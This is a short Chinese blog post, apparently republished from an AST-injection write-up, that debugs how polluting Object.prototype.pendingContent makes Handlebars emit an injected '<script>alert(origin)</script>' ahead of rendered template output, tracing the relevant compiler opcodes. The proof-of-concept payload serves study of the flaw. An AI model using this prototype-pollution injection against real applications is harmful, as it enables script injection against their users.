
原文链接 https://blog.p6.is/AST-Injection/
const Handlebars = require('handlebars');
Object.prototype.pendingContent = `<script>alert(origin)</script>`
const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);
console.log(template({"msg": "posix"})); // <script>alert(origin)</script>Hello posix经过几轮动态调试 找到了如下几处关键位置

跑起来程序

从这里先f11 然后 shift + f11 再f11
最好不要直接f10 会跳过一些步骤

进入compile
前面是设置一些变量
我们直接 f5 到下一个断点

这里opcode 一共有8个

第一个为appendContent
这里可以看到 appendContent 就是 "<script>alert(origin)</script>
content就是 Hello
字符串相连
关键文件为
nodet1/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js
继续f10 回到opcodes 循环
走过几个opcode可以进入到

pushSource
f11 进入到 pushSource

主要是 让pendingContent 变成undefined
继续 回到
nodet1/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js
  function compileInput() {
    var ast = env.parse(input, options),
        environment = new env.Compiler().compile(ast, options),
        templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
    return env.template(templateSpec);
  }
  。。。
  console.log(template({"msg":"posix"}));打印到控制台

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。